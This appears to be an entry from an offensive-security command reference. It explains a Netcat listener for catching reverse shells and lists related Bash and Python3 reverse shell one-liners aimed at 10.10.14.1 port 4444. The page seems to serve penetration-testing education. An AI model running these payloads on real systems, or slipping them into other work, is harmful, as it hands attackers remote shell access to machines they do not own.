Back to library
Offensive Beginner Premium

Start a Netcat listener to receive an incoming reverse shell connection

Start a Netcat listener to receive an incoming reverse shell connection

Netcat / Reverse Shells

Log in to save

Premium content locked

You can preview the command metadata. Full explanation, examples, and lab-style details are available to premium subscribers.

View premium options

Command

nc -lvnp 4444

Syntax

nc -lvnp <port>

Use case

Receiving a reverse shell from an exploited target during post-exploitation. The attacker sets up this listener while the target executes a reverse shell payload.

Explanation

Sets up a TCP listener: • -l → Listen mode • -v → Verbose output • -n → No DNS resolution (faster) • -p → Specify port number Run this on your attacker machine BEFORE executing the payload on the target. The target then connects back to...

linux macos kali parrot netcat nc listener reverse-shell post-exploitation

Related

Offensive Beginner Premium

Bash TCP reverse shell one-liner — executes on the target to connect back

Bash TCP reverse shell one-liner — executes on the target to connect back

r'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'
bash reverse-shell rce tcp payload
Netcat / Reverse Shells Open
Offensive Intermediate Premium

Python3 reverse shell one-liner for targets with Python installed

Python3 reverse shell one-liner for targets with Python installed

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
python reverse-shell socket payload
Netcat / Reverse Shells Open